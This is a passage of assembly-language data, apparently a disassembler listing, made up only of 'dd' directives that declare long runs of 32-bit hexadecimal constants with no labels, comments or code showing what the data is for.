		dd 0B1B38902h, 2DFE2C87h, 80C87F8Dh, 0A8C30029h, 0B63F4C4Eh
		dd 5301C1D1h, 771AC9B5h, 9D73AA0Eh, 40B92100h, 0FDC1532Dh
		dd 12F07B17h, 6014C91Ch, 613741E5h, 8EF3438Dh, 335F4F84h
		dd 0CFAC1124h, 9CD7B986h, 62ED2F01h, 99F22C67h,	1E05F3DCh
		dd 4961A7D5h, 606D5864h, 9DC0CBC7h, 7A3F2FD5h, 9F3EE73h
		dd 77336090h, 73A51A71h, 4A3B7003h, 0CBEE4F1Dh,	1D8D0902h
		dd 0EF610931h, 5F717E2Bh, 352F75B7h, 2FB480FEh,	0CB27E9C1h
		dd 0D070D301h, 9A979C95h, 0DC1974F9h, 4B6E2D12h, 0FAF900BAh
		dd 5FF88B56h, 7EF88B97h, 2A02F623h, 8A3F0CA7h, 691374FEh
		dd 0ADCDB7Ch, 6E4FCA3Dh, 490D099Eh, 70A72AD1h, 0C4C71256h
		dd 65C08189h, 10990409h, 2BB6E7Ah, 0B6FFC6BBh, 19E18291h
		dd 403B7408h, 21758D31h, 0D29D13CBh, 350585Dh, 21940D22h
		dd 38AEA340h, 0F3B10B47h, 0AEE29767h, 12DC76DCh, 8884C0F8h
		dd 0DA0E4A58h, 80178970h, 9D5FF3Bh, 3CE90EB0h, 10B8C5AAh
		dd 629CA5B5h, 7D26EC25h, 0B4195A01h, 912DD230h,	4E9550E9h
		dd 2D1A80DFh, 7F5F3572h, 0A600D16Eh, 394AB55Ah,	0F84E97EAh
		dd 6A3E399Dh, 8AF0150h,	7A61EDFCh, 48B4A5C4h, 0BE00F0D4h
		dd 73790F4Eh, 50FEC68Bh, 0EE57562Ch, 5F8F1907h,	0A6829015h
		dd 93D87879h, 279A2406h, 61FA3798h, 0EDCF6BEh, 0B8D16F58h
		dd 8E8B51E0h, 0AD27BD03h, 0AE324728h, 0F517DCD9h, 0FD82C6CEh
		dd 71507411h, 629E7B35h, 0EE73B8C0h, 631FD9E7h,	0C6E76177h
		dd 21E92FEFh, 1359FC10h, 0D21A1D9Dh, 7AE0694Dh,	95CBCBAh
		dd 21158D89h, 858E0545h, 0A8DE96B4h, 750DCE80h,	0DC7EE5FAh
		dd 0DB5242B8h, 5782CCECh, 25B870BBh, 75E57F3Bh,	4A23F950h
		dd 2792ED9Dh, 806746F8h, 9D30CDF1h, 4D954816h, 6A164BBEh
		dd 0D9BD2913h, 0A4B87084h, 4836F3D2h, 7E9009FDh, 0B2BCF996h
		dd 0DC2B137Eh, 3D7A502Fh, 59307B00h, 0D5DDBE84h, 3BF71EFh
		dd 5B524BE3h, 0BEB68196h, 0A23DF52Bh, 175F231h,	87F4742Fh
		dd 82BAF813h, 0EB554BEFh, 0CBFF5E38h, 0A290C544h, 0FDFE1A97h
		dd 0CA051437h, 7480C088h, 9D34DFD7h, 18DC0D0Bh,	2C4700F6h
		dd 21CF85D2h, 0F0C4ADE3h, 7AE71169h, 0E7490A50h, 4E0BBC04h
		dd 13E160A6h, 0A2D2CC0Bh, 6E35CE31h, 0BC040255h, 0D5FD4A0Dh
		dd 0DC0046B8h, 22DB54BFh, 4E6829AEh, 0C8069A8Dh, 2B75C01Ch
		dd 3C01FCA9h, 159F7ECFh, 72CE9D0Bh, 84F84EDFh, 4AC07E16h
		dd 0F9016FF9h, 0E830F5D0h, 88218705h, 82977EC6h, 0D76A5BE2h
		dd 0E6808B37h, 5F41E4C5h, 6ED8498Bh, 0DE2B0B92h, 8A1C77E6h
		dd 0E66750F8h, 0CAB735DBh, 0A6528464h, 9228E2D0h, 0AD02F53Bh
		dd 0FA5EF791h, 91646D6h, 79BB337Ah, 311144F6h, 8A10152Dh
		dd 89E850F9h, 1F4B49F6h, 7EBFBADCh, 63EC250Bh, 3C9EA3E6h
		dd 0D1F23012h, 0AC11FDD2h
		dd 78E00030h, 2AEBD390h, 35259D89h, 4BC2EE20h, 389BCAF8h
		dd 46F74E7Bh, 28170BA1h, 95058042h, 17312D3Eh, 4882568h
		dd 0BC4AFC8Eh, 0D20FCE88h, 21C2CAA8h, 6ACFC64Bh, 2F1C3060h
		dd 513613DCh, 82028817h, 459A2E00h, 0F344357Eh,	0A2400008h
		dd 7DB86224h, 6F2509DAh, 8878E7F8h, 3391150Dh, 40DD8A1Fh
		dd 0D6DF81C1h, 154B0856h, 142808CDh, 0B9F03312h, 0A3DE6263h
		dd 0DCF5D4Fh, 0A9E54940h, 0F5980DE6h, 2046C968h, 2438EAD3h
		dd 0AC60B13Fh, 0B401326Dh, 57023E3Eh, 0F8495AE8h, 31051408h
		dd 2464BA9Dh, 2220BF50h, 1FCAEDh, 4E51AFB0h, 0CEF2EB7Bh
		dd 0ECBB4528h, 5F5B087Eh, 0A5B0C7E7h, 2018BB5h,	0ED53F94Bh
		dd 0C21005E8h, 3D7CC087h, 8F4FBF03h, 5A5B019Dh,	808720CDh
		dd 16C598D3h, 0C9E3305Dh, 9E3114F2h, 0C298342Eh, 462B0CA2h
		dd 0A5E2A055h, 0BA558213h, 50E55BEBh, 1D095B34h, 0FC0D4666h
		dd 0D1FF091Dh, 5B709C7Bh, 0F0BF5AB1h, 0C7951099h, 28BC11E1h
		dd 0A30268E8h, 11C8274h, 3B4740BEh, 6A5F1627h, 0E085A602h
		dd 16DEF4Dh, 90E1B071h,	480B8A0Fh, 5448CA3h, 790D0CBBh
		dd 14E8181Bh, 970C88h, 0ABBE2A94h, 0EB75848Eh, 465FE42Dh
		dd 6289F0AFh, 63EDAA51h, 0BE8DA958h, 9A3F40E0h,	0C7CD773Ch
		dd 29495F53h, 55E9DB5Ch, 9A0F3135h, 0F908A25Ch,	1DB46060h
		dd 0E961802Ah, 0E78EBD4Bh, 4F5AF210h, 7AE0EFF6h, 2102A297h
		dd 8CD15B78h, 14B784D3h, 0F3F38857h, 2DF8600h, 44471557h
		dd 0D7100705h, 0B9519B21h, 0B5AF197Bh, 42530199h, 3EE3DC2Ah
		dd 50904631h, 5B6DB041h, 0DC95FEDAh, 5138C81Fh,	9B0BAB83h
		dd 0D90DDA83h, 6876255Dh, 9E946BC0h, 999C0021h,	178D7A1h
		dd 954BCEC2h, 162B10D9h, 0FD9EF8DFh, 127CF61Ch,	0E752DD3Dh
		dd 0ACD14DF8h, 0FC6607A3h, 43F8653h, 254EEC0Bh,	85FAC624h
		dd 6018442Bh, 2A438C5h,	8952F3B3h, 58E92585h, 3F2A715Bh
		dd 0C9876FD5h, 18D77389h, 0B0F949D8h, 0D92293E1h, 0E61886BCh
		dd 15819E70h, 0BD71E480h, 3A315BE1h, 0B72FEBE3h, 3558D864h
		dd 54B68BEEh, 22910926h, 612DCB73h, 0C1100E58h,	121240BBh
		dd 0B5E141CCh, 90D99138h, 0B81C2EF9h, 0BACEBBC1h, 0C81C82Bh
		dd 0D18B9FA5h, 0D32D47E9h, 4284999Dh, 0F71CB585h, 4ACC17B2h
		dd 1D9C0509h, 7B9F72B1h, 1223438Dh, 93E470B3h, 0BD338811h
		dd 570AB532h, 9FF2A3Ah,	0B9572875h, 222EF8D7h, 69A92492h
		dd 0F7E7CE70h, 19A56F28h, 0DB80FE0Ah, 5F20BCBBh, 3AADA381h
		dd 7CB6F712h, 48DE9E0Bh, 0D678CC73h, 79FE0343h,	0F0AF291Fh
		dd 139F465Ch, 2ABABEA5h, 0D101894Fh, 0B04400E2h, 3DAE4EDAh
		dd 19458706h, 541F67B9h, 0C4FC948Bh, 181271EAh,	4A319D0Eh
		dd 407AE62Fh, 2B004090h, 47BB56D2h, 4B58667Dh, 4E099B5Bh
		dd 0F031E6Ah, 95DF8F92h, 0A0D269C0h, 5B50915h, 120F58FDh
		dd 0AE6125Dh, 983019E2h, 229D02FCh, 74B7BD90h, 88A08B71h
		dd 71099925h, 7D356B43h, 0FCB21792h, 0C0DC9AF4h, 0A3735BA2h
		dd 1FD709EEh, 1C8030E7h, 140AA5DFh, 8F9B224Ah, 0D7804E80h
		dd 1009BFCAh, 73632902h, 0CB81401Bh, 3D269C03h,	0B2090F7Eh
		dd 571B1A2Eh, 0A81D9490h, 32E51800h, 840EEA2h, 41260087h
		dd 46ABB689h, 0C5952F38h, 0BE6F506Dh, 0D7719675h, 416B5E00h
		dd 0C1BD2994h, 0DF4B8624h, 0E0221B8Ah, 4C807B99h, 3E56BFCEh
		dd 581B00E8h, 919A12F9h, 8E027C94h, 4D0D9697h, 512A5CCBh
		dd 0C5E815D5h, 0B39A6480h, 0F7E434A9h, 5BDD8A12h, 629E33E2h
		dd 0E0730EBBh, 2FFD4CF4h, 28626AD8h, 274190C2h,	56BB0018h
		dd 13A825E2h, 0FB5B21C2h, 250F2670h, 18C2DFB7h,	773775h
		dd 0D7B731C2h, 8A174EBEh, 6004321Bh, 1DB9100Ah,	81026122h
		dd 0F68CC5C7h, 84F7F92Bh, 0B882E380h, 870FC304h, 6067050Ah
		dd 0A4E59D0Bh, 611FFB78h, 0E4275190h, 0D67B003Eh, 72D7CB71h
		dd 74003C53h, 0F6FC5B75h, 2FC45CEFh, 0F5B15F61h, 0C04D6C60h
		dd 0B09452BFh, 0A75CDF65h, 8DC15B54h, 0B4000751h, 231661B3h
		dd 17A8C19Dh, 0BCAFE997h, 0B39084h, 3D4B26A1h, 2B2D8D01h
		dd 8E9730B7h, 990F0033h, 0A6E868E2h, 789D7877h,	0CC389756h
		dd 1A007324h, 6ED6AE59h, 31E07BEh, 0DCF62BFCh, 0FE8D5F52h
		dd 0A5177401h, 103D7868h, 7F0233B8h, 0A65F28CCh, 0C29B559Fh
		dd 230D9DE8h, 0F18BC89Eh, 9DDCEE24h, 76C0EB6Dh,	0EFED928h
		dd 0DB02D37h, 29F57280h, 65D245B5h, 7C6BD9A3h, 38E991E8h
		dd 5E2792B4h, 1014DC13h, 59CC2957h, 0E18D4AC0h,	95FE4260h
		dd 98D6BE8Bh, 9A4CBDF6h, 543EC2B5h, 95D325C0h, 0E596278h
		dd 72D2F326h, 19F78402h, 46258DDEh, 8C0F27C5h, 0EADDD519h
		dd 567AD70Eh, 0B7F5AF12h, 8C6A4AE3h, 1960C002h,	0A5027973h
		dd 4BE35610h, 16800F37h, 8EBE17CDh, 20605A61h, 71597B0h
		dd 3F01FF1Dh, 89531F41h, 90502D9Dh, 750615Ah, 0DE1387BBh
		dd 0AE34E415h, 0AED2F89Bh, 4F81C760h, 2537FABFh, 0EF660A67h
		dd 1418CA81h, 1F00BEF2h, 53198014h, 6800A80Dh, 0EAF4BA02h
		dd 9267E44h, 327264DAh,	40019A84h, 8C1968FCh, 0FB7449EEh
		dd 0F18FE60Eh, 0E082A6F3h, 12BBC9F4h, 0E3F2D875h, 0C0095809h
		dd 7824B00Eh, 97140044h, 374640CCh, 163F5285h, 8B318B8Ch
		dd 535EC190h, 0EE9EC83Ah, 0AF936C00h, 54B2A13Ah, 253807ACh
		dd 295F5B51h, 12DE2FDEh, 127E062Eh, 393F2979h, 37BA818h
		dd 0CAF2AFBBh, 128841AEh, 1809E381h, 5107BD6Dh,	0F658A832h
		dd 2F618102h, 13729E6Eh, 0ECB5844Eh, 0EAA78094h, 0A87175h
		dd 255D79DCh, 0DDAB92Bh, 9501697h, 23D9529h, 39C43271h
		dd 59A9234Fh, 9D298760h, 8E98054Ch, 0A5E91743h,	7E4B0DE8h
		dd 6A22CB0Bh, 0CC1A61E3h, 0E2366B2Eh, 2D073019h, 0C63C00Bh
		dd 9001701Bh, 822AF4A8h, 0F7407A54h, 124A943h, 0BAE51063h
		dd 0E8E30F1Dh, 9B05A1F5h, 11A84CD1h, 9ED023FBh,	3979C0F8h
		dd 0D2B27F02h, 5184289Bh, 15854236h, 859F928h, 0F47D54F6h
		dd 0E00EAD00h, 28362576h, 8D310B99h, 0B4EE104Dh, 19259298h
		dd 23ACE07h, 8FD7EF81h,	0BB5628DFh, 0BA37D749h,	0C47F588Bh
		dd 0D96F007Bh, 1667B1Bh, 9DBAE1BDh, 7AF65B4Ah, 453015B2h
		dd 3F06B0BBh, 8941F595h, 0C20D859Ah, 2CD178A4h,	0AF0AA602h
		dd 8182DABAh, 485C197Dh, 837D5E9h, 0CC2D5B01h, 0A1596976h
		dd 0B8D88289h, 35AF5873h, 3D3F038Bh, 2990832Eh,	0AB945CE8h
		dd 90BCCE40h, 0CC840077h, 0D53D44BFh, 0E20971CFh, 737C7D52h
		dd 181D596Dh, 1DA7F66h,	0BD8C41Ah, 396AC1D6h, 79E5EDEh
		dd 5C30AE92h, 4F859D23h, 0CD05442Bh, 9390B814h,	0D9CBD2C7h
		dd 716225CEh, 0F3B1821Bh, 77287AA4h, 0A6FE0B66h, 18C8E808h
		dd 8200257Ah, 0E2B26FA3h, 5927595h, 0A1D45BCDh,	55958CC4h
		dd 0AD5AAE0Eh, 689C60C7h, 9029E6h, 34FA1ABAh, 5FFF1CE0h
		dd 988D1A97h, 0D669B7Ah, 89EE3E64h, 257E3C22h, 5C72C65Fh
		dd 21299B03h, 0AB309A0h, 46D65B5Ch, 0FAB6001Ch,	0ED3571D8h
		dd 79512F40h, 1891FE35h, 29093C80h, 0F90E9E61h,	5D516050h
		dd 2CB65BC7h, 0B8BFBBh,	0AA72EC15h, 85122F3Bh, 0E004BB1Ah
		dd 0F90A031Dh, 84F2CE88h, 0D775ADE5h, 75A01AB6h, 147FEE8Eh
		dd 8C82CF04h, 7CB80D7Ah, 0B9175EA7h, 4C42E807h,	9D104DA4h
		dd 64502D1Dh, 0D37E2411h, 0AE760067h, 648C7435h, 77173C03h
		dd 0E90BA105h, 0AC555BDEh
		dd 2E52201Ch, 0F6D399E2h, 689EA06Fh, 8CB54BB7h,	0F99D29CAh
		dd 0DBE02DC6h, 36A46093h, 9A69895h, 23B1258Dh, 0F23546FFh
		dd 1FAB09D5h, 0AB8B706Bh, 5B4BAC7Ah, 592FBD8Ah,	50814EBDh
		dd 0F872C096h, 3A37DD2Bh, 0B771CF6Ah, 7DCBFC10h, 8026FB39h
		dd 3EDB50E8h, 12A8461Bh, 0E124EB80h, 9B2D2BD5h,	9B66E2Eh
		dd 441565A4h, 0E771Eh, 4D246358h, 558560FCh, 0E3ED1604h
		dd 0C5B868E9h, 52DB8100h, 8B57C398h, 9D09C10Bh,	9567F88Dh
		dd 88E3C9B8h, 0BF0590E2h, 30DBA577h, 5A848691h,	0DC1CF6EEh
		dd 0E6D0032Fh, 203176ADh, 9CC10271h, 6CE6A275h,	64BB5E81h
		dd 0DE197CA6h, 0EFB7ED5Fh, 55D88BCCh, 0EB896A4Bh, 0E0CD1D7Ah
		dd 0C0AA9048h, 0A4CF4256h, 8A3E0068h, 876DFD6Bh, 0B22D75B5h
		dd 369382C0h, 2230D006h, 0BF020580h, 5E4CED17h,	0DC247C90h
		dd 88A77613h, 6AED09EEh, 0D506093Dh, 9F3C8076h,	1C5A05F0h
		dd 9259CBE7h, 0BA05F7BCh, 60DBD89h, 97D2E2A4h, 0C842F315h
		dd 0E2B24052h, 92FFA0BCh, 6AFB2705h, 1D08295Ch,	0ACB1012Fh
		dd 2AD1FF61h, 0FE090081h, 48E1282Eh, 0AA2D0085h, 0F05199ECh
		dd 0FEAE5250h, 0E2855B4Bh, 6854A2A8h, 0F0799F1Ch, 44526DAFh
		dd 65B0C14Dh, 569C2B2Bh, 0E9DD098Ah, 6D710E79h,	4A458A6Dh
		dd 32BD8205h, 0A909A6A4h, 332EFCB3h, 5BC3573Ch,	0BAF4B311h
		dd 478E0F14h, 50445627h, 8B0032FCh, 39DCFB1h, 2846D676h
		dd 0C9801AFDh, 0F95BFEFCh, 0EEF38103h, 5606F2A5h, 4085C9FFh
		dd 2ADDF155h, 1923E66Bh, 0C9B7E300h, 9FEA73F4h,	0AC2FE584h
		dd 0A7B6D3E4h, 5D45D3A0h, 604B9970h, 1907C8Ch, 611B2FF1h
		dd 0E0FA3ED8h, 0EE0012A5h, 28F6EFF0h, 90DB8C59h, 0F4B55F2Ch
		dd 19EC893Fh, 4C25959Ch, 13F445FAh, 4187B09Eh, 7F70E6D9h
		dd 802CC301h, 0E8471E4h, 0AD41B1EFh, 97D722F6h,	9889CB1h
		dd 2BECCD3Ah, 0E59D0242h, 0DD1E0D24h, 8632E13h,	0CC347309h
		dd 0DB76C123h, 595B7025h, 11C908BDh, 1F3226Ch, 0C82B5FFCh
		dd 4108870Fh, 10028D46h, 68B5F53h, 59D89D1h, 0B44FD23h
		dd 2C3009BFh, 68431CCh,	0A117531Dh, 386203ADh, 9055082Dh
		dd 903151B1h, 0E562EB8Eh, 0BFE1A05Ah, 0C909B125h, 0AC141616h
		dd 9447803Bh, 785039Ah,	0EED2396h, 1F31F620h, 74C3B727h
		dd 0E3F2CE75h, 0EE1D221Dh, 0D24D5F85h, 1884A59Fh, 3C82AAFEh
		dd 425D8C95h, 163197DEh, 0BB00E2A7h, 5EF389FFh,	85F0C003h
		dd 1BA10CADh, 0FC352BFBh, 0F915C80Ah, 806D156Fh, 3D0918FCh
		dd 4B7A0508h, 0C05EC911h, 0A4651498h, 0CEB94E09h, 0F43AFC07h
		dd 0F3E1E200h, 0B5BFA597h, 1B1D2599h, 8D0416C2h, 0C9CAF10h
		dd 0E7F0465h, 0D7192322h, 0FCD8E273h, 1CB16A60h, 0BB263097h
		dd 0F1B61696h, 9386AC78h, 396EABh, 0DB95D0D9h, 282F18Dh
		dd 0B5298677h, 0BE55204Dh, 0D5FB9757h, 0B861B50h, 8AC94537h
		dd 5BDF3500h, 275E3AFEh, 0F40D3A83h, 0B8CFE9BFh, 25A5B82Bh
		dd 6CC45FDFh, 1F837BDh,	8CC48EEBh, 0D38B38F9h, 0CE655C1Eh
		dd 0D441BE66h, 0A4D3FB9Dh, 5AC4841Ah, 2838C229h, 76785909h
		dd 0E5261446h, 65091FAFh, 5B69ACFCh, 33901A4Dh,	0C7185F3h
		dd 16121E0h, 49258B26h,	21097359h, 38B6B82h, 75AC354Dh
		dd 9AAE9509h, 20CA61C5h, 0D67DAD04h, 2A80A49Ah,	51BD2937h
		dd 87B1241h, 0FF020B94h, 0F6800FE1h, 82596980h,	85050763h
		dd 9BC96A9h, 0EE8C7600h, 0AC2F6C0Ah, 40E49803h,	619F6004h
		dd 9DBB2532h, 611BA532h, 0DE51A05Ch, 0E03DE615h, 1889BB8Dh
		dd 6A7CF378h, 679509D9h, 407411EBh, 0D58ACD96h,	5ED0E510h
		dd 0A5E49Dh, 0FA63C6E7h, 308B73C3h, 604FC916h, 75844BDBh
		dd 4AD1B85Ah, 5CF8C5C2h, 587823A7h, 0B0029BFAh,	0B7BCD1EBh
		dd 93A25C11h, 457BFAD2h, 3E3A4A09h, 41A7CE51h, 0CB2A3188h
		dd 9DDA4EC1h, 12D81580h, 23B16663h, 57F4280h, 1CDC5F9h
		dd 0E2EB4B44h, 286050D4h, 8C1383C8h, 2E2BD9F5h,	7D805B38h
		dd 0DE02646Ah, 84EEFE00h, 181080D5h, 0BB5E01BDh, 26DA8244h
		dd 46782861h, 0AAFEB059h, 0E18658DFh, 41E8CF49h, 644AFDE0h
		dd 0C651E1B3h, 25F28A2Ah, 0E1645466h, 0BE7C6AE5h, 515DE95Ah
		dd 0B884004Ch, 0BEDE423Fh, 8BA3F716h, 7A004CA3h, 0DD9FB605h
		dd 2011F8Ch, 0AA5AED17h, 89CD65D3h, 0FD1C9C2Bh,	4AECCD00h
		dd 0CFB416CAh, 0A75600E6h, 9FAD22A8h, 96A05B0Ah, 284B6D8Dh
		dd 310473F7h, 0B82AF1B5h, 979AB4E4h, 56E24DC1h,	54CC7B3Bh
		dd 10B10052h, 733075A3h, 0A55C32E6h, 0F0ADB488h, 0E825A94Eh
		dd 19879FB7h, 60B53A96h, 538329CBh, 0B3BB5F0Ah,	0DD088478h
		dd 0B2E90410h, 29D8EE01h, 167E00B4h, 8C5F2C0h, 0B572E292h
		dd 68F02E4Ah, 2F5F8130h, 4AE1334h, 0BCB15ECAh, 0A712D215h
		dd 0B66952BFh, 301BB2F8h, 9602A9B5h, 5886D2DFh,	0D266577Ah
		dd 0F19D2313h, 132BABF5h, 0E8A4BDFFh, 8E4002C4h, 0A06A5193h
		dd 0E5280C5Fh, 0A0825C7h, 4617F27Bh, 2BBCC7F9h,	9FB46600h
		dd 901315CBh, 4A70F7E4h, 5B0B4065h, 0BB509601h,	2D0AC76Dh
		dd 0DC2D74DEh, 37AD654Bh, 0A6138302h, 0D64ABD4Bh, 1E09CD5h
		dd 0C056F954h, 604E0F32h, 6804CAFAh, 631BBBB1h,	3B7CB5B8h
		dd 0DBCE04B8h, 4FA92C9h, 0E1285FBh, 2CE4BD09h, 72A68D93h
		dd 9025407Dh, 49C3FB2h,	3295E10Fh, 0AAB89AA9h, 5C757A3Fh
		dd 3BD1091h, 0BF3DBB02h, 0E4742F15h, 121546D6h,	0B10B2AF2h
		dd 20C8E419h, 61160A0Dh, 0D7258C0Fh, 2B00A0A2h,	8AC56403h
		dd 5FEC1440h, 1B4B0BF2h, 885A7E8Bh, 0D6048962h,	5C2231E7h
		dd 5FA38AACh, 0A0A7B784h, 12E6AE29h, 30FC6487h,	55BD920Dh
		dd 7BED3E1Ch, 91F47707h, 7BAA45F5h, 8DAE0052h, 0A25B1306h
		dd 0C7DE28FDh, 0B529E2FCh, 257EF9C7h, 5BC5FD8Ah, 1A58E611h
		dd 628C4AC0h, 22027D90h, 15980630h, 97E19602h, 4D5DF46Ah
		dd 0FBBCC057h, 0A7A088C7h, 82BE0D8Dh, 15B231E7h, 0E9675C29h
		dd 0C8ED4385h, 6B5FB5A0h, 4F7B9A7Bh, 9972F0C5h,	5B9D704Bh
		dd 809B9A3Eh, 4EA70CCFh, 0B41D02F1h, 13A5BD23h,	0DE8B5001h
		dd 0B565F2Eh, 0FCED0BC5h, 0D1601BE4h, 8B006B78h, 28BB66A8h
		dd 968A0F60h, 6FB664Dh,	0CE61CF25h, 0D4AC9685h,	2B52FD05h
		dd 0B589199Dh, 0E9A51D6Eh, 0AC5ECBC9h, 0F2230BD4h, 0E7026C16h
		dd 0D008108Dh, 9007893Dh, 0A5B67170h, 0C27C7E62h, 2D0BA0EFh
		dd 578E3Ch, 443E9A71h, 58FDCC82h, 38D84695h, 57CE5B56h
		dd 0E8BCF9EAh, 0F353B793h, 74C2A5B8h, 3364DE55h, 0EDB469FDh
		dd 20B9258Dh, 7B25FD5Bh, 0C8AB507Fh, 6388724Bh,	0F91616D9h
		dd 0D804EB70h, 5B09234Dh, 122673D7h, 0D210B9FEh, 0ACA006E6h
		dd 7118456Fh, 0FDD06418h, 0B886880Dh, 8B76BD9Dh, 0E4840DCBh
		dd 0FFD5EB65h, 9966FAAh, 0C33E9EDBh, 4A5296E4h,	0F265B61Ch
		dd 0FB78301Dh, 0AB0C9300h, 0C2F56A74h, 81989F3Ah, 0A50379D4h
		dd 24692AF1h, 51B58823h, 0BC9B21Fh, 18259531h, 0B77762EEh
		dd 0FCF9AEC9h, 0FBB31EAh, 83B83831h, 0B89E8439h, 0E8BB26h
		dd 517A4EEEh, 5A68553h,	5A1C6A1Ah, 1C4656BEh, 0A320509Dh
		dd 1DD5E133h, 207D4041h, 0A245607Bh, 0B61274A7h, 52AE7068h
		dd 9FB9B286h, 48FD2F74h, 0D4F26BB9h, 9529F90Bh,	96989B56h
		dd 0D777B3FCh, 0CDE3FAh, 0A2864C07h, 0C9ECFAh, 0AE7EFCA3h
		dd 0D2D7ABEDh, 0A765CE01h, 5F616071h, 50508342h, 0B96043Ah
		dd 0EC060D9Dh, 8595A0B0h
		dd 2D258411h, 40BCEF2Fh, 0F483FCB6h, 1289FD48h,	377A0799h
		dd 570B1523h, 0EB525E84h, 0D8502873h, 97D001ABh, 7D07B3F8h
		dd 0F60C01DFh, 6EFA292Eh, 0DBAA3384h, 84E6C017h, 0FFF430Dh
		dd 18AF816Dh, 32E91090h, 24D7047Ah, 0BD13D203h,	87A6D70Bh
		dd 6EEF38A0h, 0D1EEF500h, 8BF12AA9h, 7AC65ADAh,	0B8C900D2h
		dd 7E50C58Ah, 0F0354A9Ah, 5C823154h, 0B6D7A2Ah,	0D7307A62h
		dd 7FD8E490h, 0A52FDB00h, 88912617h, 43450071h,	0F95FFCF7h
		dd 789D20E9h, 2762B7DBh, 0A904227Fh, 0EA295E14h, 5276A77Ch
		dd 0D5BD3389h, 0A66AFA25h, 8092F075h, 6F6A5F37h, 0E4E30042h
		dd 8B379C97h, 9A107584h, 5F3350C9h, 497A27B7h, 2CE57AE0h
		dd 27225C82h, 0EBFC9D1Bh, 0B45024C8h, 16984079h, 0E044F6Ah
		dd 0DE8A6072h, 6178CCBAh, 2E875B55h, 0E87620C1h, 7531452Ah
		dd 8028A92Bh, 0D83F8EF4h, 46FA00BCh, 6AFBC1A9h,	0A301E132h
		dd 0A58629D4h, 7A7A5F08h, 17640052h, 6B3423CFh,	20795A77h
		dd 8FCD9ED2h, 0A5A34001h, 0EAF33E03h, 97CBB6FCh, 0CEF32EBAh
		dd 42D2850h, 0F12C3CEBh, 8DAABB3h, 69C11AC8h, 77F0FD40h
		dd 603B2D68h, 730098D1h, 2059446Bh, 32E22C91h, 63D66B60h
		dd 187B960h, 28C78F7h, 7E30CA14h, 415E5E7Ah, 1678AB2Bh
		dd 599497B7h, 0F8025145h, 40A2AA21h, 27B5A2Dh, 0C780026Ah
		dd 9002504Ch, 6E3D7D6Eh, 3D540980h, 0B77FDA5h, 1E719D31h
		dd 0FEA938E9h, 2B514D7h, 34CAEB81h, 625E0EE9h, 827AC170h
		dd 1915A540h, 7CFEC5C9h, 0A55FDCF0h, 0E903E0BCh, 901ED3D5h
		dd 2DC7840Bh, 0D6DB5C8Eh, 62D1446h, 462460D1h, 24AFD913h
		dd 0E5821221h, 8D122E46h, 17F26FA3h, 251BDE30h,	0A6EC1D26h
		dd 239D1CB1h, 7F6E440h,	9D5C3506h, 0F3A413E7h, 120BC908h
		dd 26C0F35Bh, 481E1A56h, 0CF3F834Fh, 0BC8CF56Ah, 34CE9E38h
		dd 2294B0FFh, 7398779Dh, 711CCE26h, 0F9ACFAD3h,	21DDF07h
		dd 5DB7A52Eh, 63127C1h,	0A349F76Bh, 6A5EF88Fh, 0CDC15EC7h
		dd 158E8956h, 42C97929h, 81200105h, 661AABC3h, 256931B0h
		dd 211B52B7h, 913016Dh,	71E5F01Ch, 7EE091C7h, 182D8510h
		dd 7743BBC0h, 0BA517650h, 0D2123A49h, 0D30267ECh, 71C64F53h
		dd 2B05BC5Eh, 0C0B499BDh, 1849259Dh, 0FBF4C2E6h, 0F582B60h
		dd 0F2799BB5h, 252AC4D1h, 0DB81401Eh, 0A4E9E6F1h, 0F78017A1h
		dd 294A05FBh, 6D2E0410h, 0CF814717h, 0B9BCB6D4h, 0AB49F264h
		dd 4F0F988Ch, 0EE558886h, 6D23A012h, 0B51EBEF4h, 44FA45CEh
		dd 0BD67A901h, 6B90E018h, 0E9C1C82Bh, 2027496Fh, 0B7F09CBBh
		dd 0F6D3B596h, 825D950Ah, 2DB53EBBh, 676F5E1Dh,	0C0F4E984h
		dd 91D89AE1h, 146EA22Ah, 2E28A583h, 898A2EFEh, 5DC28095h
		dd 0F0145708h, 0DF42A20h, 0BD950160h, 919E0225h, 0D6DE37EAh
		dd 39DE5626h, 358164B1h, 8A089377h, 82E66EFCh, 8702E9B5h
		dd 0AF562B26h, 13D520D4h, 7AAB910h, 0D375BB02h,	0E25E23E6h
		dd 71E78100h, 0EF29FFB0h, 0EF04E36h, 0D390D03Eh, 0D8BF0F09h
		dd 5D33825Fh, 0C02B0029h, 0E697BAF8h, 194125E9h, 0CDADCBEFh
		dd 0CF654376h, 9560B9E9h, 0AC67DB88h, 387709F4h, 125F0B46h
		dd 756F55D1h, 90A0F0E0h, 234816ABh, 2908FF60h, 880F0901h
		dd 0EC0933FFh, 9A4AEDF7h, 7C5D8050h, 9720DCA1h,	0EBF9F49Ah
		dd 819CA903h, 0D383A048h, 0BB46006Ch, 0E83462C8h, 86BC10A1h
		dd 0C790AA47h, 4A57912Fh, 0B899B85Fh, 0D6064589h, 0F4B9255h
		dd 5C2EABFCh, 43EC733Dh, 4B7082BBh, 39AF89C6h, 28B85Fh
		dd 622717ECh, 0A6F8B429h, 0FA8A5217h, 2C320001h, 742F01BDh
		dd 2333FB6h, 0BF2E61D9h, 0CAB14076h, 0F6E26EA1h, 0F9053128h
		dd 6EADE1FFh, 352577B8h, 8CEE5F9h, 612404D3h, 8084F916h
		dd 0DBA29DB8h, 0EDD28927h, 707C5E24h, 0CFBD0492h, 0AF1241D4h
		dd 3B0D2AA3h, 206F5911h, 99F7046Ah, 0B427A00h, 0C8DEC450h
		dd 706958Fh, 0F12034B9h, 0C45F4B04h, 0E08EB67Fh, 2AEC4A0h
		dd 0D869961Bh, 0A25E2536h, 71797B25h, 9B5C2FE8h, 8BA90156h
		dd 8F164DE8h, 0D35275C0h, 28D06DA9h, 6E148FFCh,	73E82155h
		dd 0E5300A41h, 0C19A9747h, 1D010A82h, 0DCBF9000h, 495112ECh
		dd 0E24FC850h, 3CC22F00h, 1A0208D5h, 308707F2h,	39690F5h
		dd 0AAAD5938h, 4F07A26Eh, 0C0154294h, 0E0FEBEBFh, 374A0A6Bh
		dd 0C0D780E2h, 20302C6Dh, 0FE018BF0h, 40E2685Bh, 3073D1D4h
		dd 90BE6100h, 79425039h, 0F1DFCB01h, 1A58265Ch,	1D6B806Ah
		dd 2E5B4AC3h, 2782A69Bh, 1A552F9Bh, 4CC2D5D6h, 3555E14Ah
		dd 801A9112h, 37E83AC4h, 3C9809E7h, 0F0FC8589h,	215467Eh
		dd 6BE97F9Bh, 0F41E7E02h, 7BAC5596h, 7B25311Ch,	0D96DAF60h
